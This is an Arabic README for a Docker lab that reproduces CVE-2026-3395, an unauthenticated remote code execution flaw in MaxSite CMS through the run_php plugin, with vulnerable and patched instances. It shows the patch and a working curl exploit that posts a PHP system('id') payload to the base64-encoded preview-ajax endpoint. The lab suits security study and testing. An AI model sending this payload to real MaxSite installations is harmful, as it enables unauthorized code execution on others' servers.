
# مختبر Docker تعليمي يوضح CVE-2026-3395 مختبر Docker تعليمي يوضح ثغرة CVE-2026-3395، وهي ثغرة تنفيذ أوامر عن بُعد (RCE) غير مصادق عليها في نظام MaxSite CMS عبر إضافة run_php، مع بيئات قابلة للاستغلال ومصححة لإعادة الإنتاج والتحليل بأمان.
هذا المستودع مخصص لأغراض تعليمية وبحثية فقط. يجب إجراء جميع الاختبارات في بيئة مختبر Docker محلية. لا تنشر هذا الإعداد على الأنظمة العامة أو أنظمة الإنتاج.
يؤثر CVE-2026-3395 على MaxSite CMS ويسمح بالوصول غير المصادق عليه إلى نقطة نهاية AJAX إدارية. عند تمكين إضافة run_php، يمكن تقييم إدخال المستخدم ككود PHP من خلال نظام خطافات CMS، مما قد يؤدي إلى تنفيذ كود عن بُعد (RCE).
يتضمن هذا المستودع:
تقع نقطة النهاية الضعيفة في:
application/maxsite/admin/plugins/editor_markitup/preview-ajax.php
في الإصدار الضعيف:
POST data) عبر mso_hook()run_php كتل [php]...[/php]eval()إذا تم تمكين run_php، يؤدي ذلك إلى تنفيذ كود عن بُعد غير مصادق عليه.
يضيف الإصدار المُصحح:
if (!is_login()) die('no login');
mso_checkreferer();
يقيد هذا الوصول للمستخدمين المصادق عليهم فقط.
يبني هذا المختبر بيئتين:
| البيئة | المنفذ |
|---|---|
| الضعيفة | 8081 |
| المُصححة | 8082 |
docker compose up -d --build
سيؤدي هذا إلى:
run_php في إعداد المختبرافتح في متصفحك:
http://localhost:8081 (الضعيفة)
http://localhost:8082 (المُصححة)
يجب أن يتم تحميل كلتا النسختين بنجاح.

يستخدم مسار AJAX مسارًا مشفرًا بـ base64.
Base64 الخاص بـ:
admin/plugins/editor_markitup/preview-ajax.php
هو:
YWRtaW4vcGx1Z2lucy9lZGl0b3JfbWFya2l0dXAvcHJldmlldy1hamF4LnBocA==
curl -X POST "http://localhost:8081/ajax/YWRtaW4vcGx1Z2lucy9lZGl0b3JfbWFya2l0dXAvcHJldmlldy1hamF4LnBocA==" \
-H "X-Requested-With: XMLHttpRequest" \
-H "Referer: http://localhost:8081/" \
--data-urlencode "data=[php]system('id');[/php]"

curl -X POST "http://localhost:8082/ajax/YWRtaW4vcGx1Z2lucy9lZGl0b3JfbWFya2l0dXAvcHJldmlldy1hamF4LnBocA==" \
-H "X-Requested-With: XMLHttpRequest" \
-H "Referer: http://localhost:8082/" \
--data-urlencode "data=[php]system('id');[/php]"
النتيجة المتوقعة:
no login

لإيقاف الحاويات:
docker compose down -v
استخدم هذا المشروع فقط في بيئات معزولة لأغراض البحث والتعلم.